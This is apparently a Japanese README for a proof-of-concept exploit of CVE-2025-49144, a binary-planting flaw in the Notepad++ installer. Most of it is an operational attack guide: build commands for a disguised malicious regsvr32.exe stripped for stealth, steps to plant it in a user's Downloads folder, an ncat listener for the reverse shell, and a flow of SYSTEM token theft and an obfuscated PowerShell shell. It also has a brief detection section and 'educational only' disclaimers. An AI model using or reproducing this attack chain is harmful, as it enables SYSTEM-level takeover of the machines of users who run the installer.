
概念実証 CVE-2025-49144
⚠️ 教育目的のみ
このコードは、バイナリプランティングの脆弱性を理解するための教育および研究目的で設計されています。適切な許可を得た管理された環境でのみ使用してください。
この Proof of Concept は、Notepad++ インストーラにおけるバイナリプランティングの脆弱性(CVE-2025-49144)を示すものです。この脆弱性は GHSA-9vx8-v79m-6m24 で参照されています。攻撃者は、Notepad++ インストーラと同じディレクトリに regsvr32.exe という悪意のある実行ファイルを配置することで、SYSTEM 権限を獲得できます。
regsvr32.exe によるバイナリプランティングPoC は複数のコンポーネントで構成されています:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Go (1.24+) をインストール
# CGO コンパイル用に MinGW-w64 をインストール
# バージョン管理用に Git をインストール
# リポジトリのクローン
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# 実行ファイルとしてビルド(regsvr32.exe として偽装)
# 最大ステルスの場合(デバッグ情報除去)
go build -ldflags="-s -w" -o regsvr32.exe
# 開発用(デバッグシンボル付き)
go build -o regsvr32_debug.exe
# 1. 悪意のある regsvr32.exe を Notepad++ インストーラと同じディレクトリに配置
# 通常はユーザーがインストーラをダウンロードするダウンロードフォルダ
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. ユーザーが公式の Notepad++ インストーラをダウンロードフォルダにダウンロード
# 3. ユーザーがインストーラを実行すると、インストーラは現在のディレクトリで regsvr32.exe を最初に検索
# 4. インストーラが悪意のある regsvr32.exe を見つけ、SYSTEM 権限で実行
# 5. 受信リバースシェル接続を待機
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEM
バイナリプランティング
権限昇格
永続化メカニズム
ネットワークプログラミング
CGO プログラミング
# 不審な regsvr32 の使用を監視
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# 異常なネットワーク接続を確認
netstat -ano | findstr ":4445"
# プロセス作成を監視
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
接続障害
# ポートが利用可能か確認
netstat -ano | findstr ":4445"
# ファイアウォール設定を確認
netsh advfirewall firewall show rule name=all | findstr "4445"
ビルドエラー
# CGO が有効であることを確認
set CGO_ENABLED=1
# MinGW のインストールを確認
gcc --version
# Go のインストールが CGO をサポートしているか確認
go env CGO_ENABLED
トークン取得失敗
このプロジェクトは教育目的のため MIT ライセンスの下で公開されています。詳細は LICENSE ファイルを参照してください。
忘れないでください: このツールは教育および許可されたテスト目的のみです。常に責任ある開示の実践に従い、法的境界を尊重してください。
| ファイル | 目的 | 行数 |
|---|
main.go | エントリポイント、regsvr32 実行の処理 | ~80 |
winbind.h | 関数宣言を含むメインヘッダ | ~45 |
main.c | コアのリバースシェルランチャーとデタッチドプロセス作成 | ~75 |
shell.c | 難読化された PowerShell 実行を含むシェルハンドラ | ~120 |
process.c | トークン取得と SYSTEM プロセス作成 | ~195 |
socket.c | TCP Keep-Alive を使用したネットワーク接続 | ~85 |
threads.c | ソケットとパイプ間の I/O スレッド処理 | ~60 |
utils.c | 入力検証とレート制限 | ~35 |
obfuscate.c | PowerShell パスの難読化手法 | ~70 |